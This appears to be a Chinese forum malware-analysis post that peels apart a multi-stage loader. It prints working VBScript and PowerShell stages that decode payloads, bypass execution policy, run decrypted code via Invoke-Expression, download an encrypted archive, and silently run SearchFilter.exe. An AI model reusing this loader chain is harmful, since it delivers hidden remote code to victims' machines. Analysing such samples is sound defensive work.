FzWUJnUm5UdElucEpjSjVDSEVOSis1ZXlDc0RJZ2dYV1F3K0R2VTRBZ09zUUlXL2hNK0Fha1FrMU50MnVBT0tYUGJyWEpyTUlZWXo1UHlLVWpEekl2R3phSE9zUmZ0d21YSU54ZHdMY2FJQitmOGVNTjlVaFJRbGt6b3F4MHE4QWxFL1hZeXIwc3dWbzBpR0N4NVBvTjdHTUZFVFJOZk5mbG1hWEgrQk10M1QvUmlkWkV6ZTBRdDhTRWhnNkFCQ21IZ3QrdnJWNjRRK0NlYUxiZTBuYmJEbER6d2ptSFltVllTcTdXZW1rK2R1aGYxK1hObVhtNCtSZDlaVWdNN21wcGxCY1VsSS96dm94RUdZKzcwU05Gb25sOWZvakdrdDRFdmJrMUNvYm43dGtnczBjbWh4QmRkUkNyakxOY014bGE4T2xxeDI1amxwZGNCREMxZ1MwZS83c3NyTk14L3hMdGJ6dkltUmJWMWpHaXhLMk1WS1R0N1lpVU13L1FnQTRCenk4dTcycGI1cHRWc2M0cHRob2tUekdaMVo1YkhhbTZSeUhKK3MrZytFbEkzcW02Vm9qVnhTSmMxci9lMVRIR2hYSlRVYk41OGtrZ21iQldHenN3d1ZHb2orVk5iRlV0MVE2TUxENGlEWnYrczd5djBiMWU5QnA5Z0FGSGc4M09vVGc3d3VLTGFMTXhqL2FBRzBuQlBydTRBa04xZkVkSXcvb1hFYXptdWdVcXNtc2xYYU92OHA4VHFZUjhsMmp6bVBkcnlxSXB5Q1JZOGtHT3VaK3kyTEFKY1pzMUMyeHZacVZBL1NRR21NWjdIQnB1RlE5cklrMEtIQnFYUnpuL0tJMmJRbENDVlFzSGhmVUZnL2FaRDlQMWZaaHJUM2ZobEs4ajJibC9scTVBTkJjQ1VKcE5Kb1RDQW1XbmRycnRJbGRIVnRpMnYyTlNXSFBzNzRUeGNrUmRsdndsdmlIUmFvWXprOWRiNDNUamhoZVZtcThKeURNdlR3TWNHZitOUzg5Q09iUk9wd095eHdxc3I1ZGJLdkNWdzZLaEU4R1VjN0lHNjc5SFZCcDZldzlnK25YeS8zWDJYQ3pQVi8rTCtRbmMxVFdFSjZ4cER0YzluTExZbDNURnJBelZaTzJteGFCNTRCQ0lIUW9nZ1R5RmZjYkVUV2ZIZjQ1UmdTUk5STk10a3lDdVJUQ2thWkV1NFQ2YWtLL0ZWRVhCSjl1WHV0eHFuUUJlZmYrUnNQckNpNFI4b3ZnaUxIaTVsczM3OGsrdWhiaGxlVUJwK2tCd1c5aEFpN1pmTERZQ0MrRG1OSjFIKzRyY2pXT09LRDZvazNLVUorK2RpaVdhcXFqclh2SEI4SWpwSEh2Z0xDSjAxa01tR2FNU3loSFFQWCtQcFFhSjU5ZUxYcnl1TEpodzR6Rkd6R3VLTkNRT2lsY1pnb05CK1I0WTlJb1ZhbUxMd29sV1hQeXU3WnBhYUtSS1E0VlJwNEhkekpPOCtQMy9IWmcvY2pJK2FPbmpHdzBTd29maWVidlc1UkJZNUtZWHJTYkxRNmN1cURqbFNNaVBpb25lRzFoTGd5YTdDRy9hUFNFV0FlN2xPRUlhRHNMdDgvbFdOYitDbjFvbllzRWVOOEovY2lvZEJhSmRVTEdBK1ZlWmoxQXM3TnhUY0R0L3h6eWpVQm1JLzhubHFsUXAzUTVpVHRhaWRyVTZ2aXB3dkJ5M3dYUURrMGRxNThLSmZ6R04vMU5QTVZVR0NzTGlkNVVHRkFLbXk1THdDbXJNVm9NSFVtTXVPYy9oSWZVOUl0bnVJSEMyNkhuS21YQzV6N2pmVlYwT24rOEVReVEwemw3NGVIWUpKUjV1RWRSVEhIYU9P" e = b & d & c Set f = CreateObject("MSXml2.DOMDocument.6.0").createElement("base64") f.DataType = "bin.base64" f.Text = e g = f.NodeTypedValue h = "i.ps1" Set j = CreateObject("Scripting.FileSystemObject") Set k = j.CreateTextFile(h, True) k.Write l(g) k.Close Set m = CreateObject("WScript.Shell") m.Run "powershell.exe -ExecutionPolicy Bypass -File " & h, 0, False Function l(n) Dim o, p Set o = CreateObject("ADODB.Recordset") p = LenB(n) If p > 0 Then o.Fields.Append "q", 201, p o.Open o.AddNew o("q").AppendChunk n o.Update l = o("q").GetChunk(p) Else l = "" End If End Function这段代码创建一个powershell脚本通过Set m = CreateObject("WScript.Shell")m.Run "powershell.exe -ExecutionPolicy Bypass -File " & h, 0, False执行去掉这两行在执行一下得到最终脚本

[PowerShell] 纯文本查看 复制代码

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1
function DVK {param ([string]$en,[byte[]]$sB);$k = New-Object byte[] 32;$v = New-Object byte[] 16;$deriveBytes = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($en, $sB, 1000, [System.Security.Cryptography.HashAlgorithmName]::SHA256);$k = $deriveBytes.GetBytes(32);$v = $deriveBytes.GetBytes(16);return @{ K = $k; V = $v }};function D {param ([string]$eBZ,[string]$enc);$dBy = [System.Convert]::FromBase64String($eBZ);$sby = $dBy[0..7];$eBy = $dBy[8..($dBy.Length - 1)];$drv = DVK -en $enc -sB $sby;$k = $drv.K;$v = $drv.V;$a = [System.Security.Cryptography.Aes]::Create();$a.Mode = [System.Security.Cryptography.CipherMode]::CBC;$a.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$a.Key = $k;$a.IV = $v;$dc = $a.CreateDecryptor();try {$dB = $dc.TransformFinalBlock($eBy, 0, $eBy.Length);return [System.Text.Encoding]::UTF8.GetString($dB)} catch {return $null}}$eB = "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";$tm = $eB.ToCharArray();[array]::Reverse($tm);$R = D -eBZ $tm -enc "";$t = $R.ToCharArray(); [array]::Reverse($t); $BVV = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(-join $t)); $EPX = "Invoke-Expression"; New-Alias -Name pWN -Value $EPX -Force; pWN $BVV$EPX = "Invoke-Expression"; New-Alias -Name pWN -Value $EPX -Force; pWN $BVV又是执行的命令去掉，改成$BVV| Out-File -FilePath "output.txt" -Encoding utf8保存解密后的数据到output.txt

[PowerShell] 纯文本查看 复制代码

?[tr=none]
1
function rl { try { p "wr3DqMK3w5vDp2fCl2XCr8OZw6LCnsKNw53Do8OCwqPCtsOQw6bCjsObwq3CrMORw6LCn8OSw7LCo8OHw5XCug==" } catch { l } }; function l { try { p "wr3DqMK3w5vDp2fCl2XCrcOcw6nClMOOw6zDosKCw6fCssORw6hbw4/CosKmw6HDnMKZwo3Dp8OZwoTDpMKyw5vDl8Kcw5rCpMKww5zDn8Klwo3Dp8OZ" } catch { x } }; function x { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEw5zDncODwqLCpsOaw6Fcw5rCl8K0wpzDhXTCj8OCwqjDh8Ocwo0=" } catch { o } }; function o { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEw6TDqcOIw6jCrMOfwqLCkMOXwqNsw5/DmsKowo7DrsOawrbDqcK9w47DoGLDoMKg" } catch { Start-Sleep -Seconds 20; rl } }; function p { param ([string]$e) if (-not $e) { return } try { $d = d -mm $e -k $prooc; $r = Invoke-RestMethod -Uri $d; if ($r) { $dl = d -mm $r -k $proc } $g = [System.Guid]::NewGuid().ToString(); $t = [System.IO.Path]::GetTempPath(); $f = Join-Path $t ($g + ".7z"); $ex = Join-Path $t ([System.Guid]::NewGuid().ToString()); $c = New-Object System.Net.WebClient; $b = $c.DownloadData($dl); if ($b.Length -gt 0) { [System.IO.File]::WriteAllBytes($f, $b); e -a $f -o $ex; $exF = Join-Path $ex "SearchFilter.exe"; if (Test-Path $exF) { Start-Process -FilePath $exF -WindowStyle Hidden } if (Test-Path $f) { Remove-Item $f } } } catch { throw } }; $prooc = "UtCkt-h6=my1_zt"; function d { param ([string]$mm, [string]$k) try { $b = [System.Convert]::FromBase64String($mm); $s = [System.Text.Encoding]::UTF8.GetString($b); $d = New-Object char[] $s.Length; for ($i = 0; $i -lt $s.Length; $i++) { $c = $s[$i]; $p = $k[$i % $k.Length]; $d[$i] = [char]($c - $p) }; return -join $d } catch { throw } }; $proc = "qpb9,83M8n@~{ba;W`$,}"; function v { param ([string]$i) $b = [System.Convert]::FromBase64String($i); $s = [System.Text.Encoding]::UTF8.GetString($b); $c = $s -split ' '; $r = ""; foreach ($x in $c) { $r += [char][int]$x }; return $r }; function e { param ([string]$a, [string]$o) $s = "MTA0IDgyIDUxIDk0IDM4IDk4IDUwIDM3IDY1IDU3IDMzIDEwMyA3NSA0MiA1NCA3NiAxMTMgODAgNTUgMTE2IDM2IDc4IDExMiA4Nw=="; $p = v -i $s; $z = "C:ProgramDatasevenZip7z.exe"; $arg = "x `"$a`" -o`"$o`" -p$p -y"; Start-Process -FilePath $z -ArgumentList $arg -WindowStyle Hidden -Wait }; $d = "C:ProgramDatasevenZip"; if (-not (Test-Path "$d7z.exe")) { New-Item -ItemType Directory -Path $d -Force | Out-Null; $u = "https://www.7-zip.org/a/7zr.exe"; $o = Join-Path -Path $d -ChildPath "7z.exe"; $wc = New-Object System.Net.WebClient; $wc.DownloadFile($u, $o); $wc.Dispose(); Set-ItemProperty -Path $o -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue; Set-ItemProperty -Path $d -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue }; rl最后这个抽空再解密了

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我不喜欢说话却每天说最多的话，我不喜欢笑却总笑个不停，身边的每个人都说我的生活好快乐，于是我也就认为自己真的快乐。可是为什么我会在一大群朋友中突然地就沉默，为什么在人群中看到个相似的背影就难过，看见秋天树木疯狂地掉叶子我就忘记了说话，看见天色渐晚路上暖黄色的灯火就忘记了自己原来的方向。
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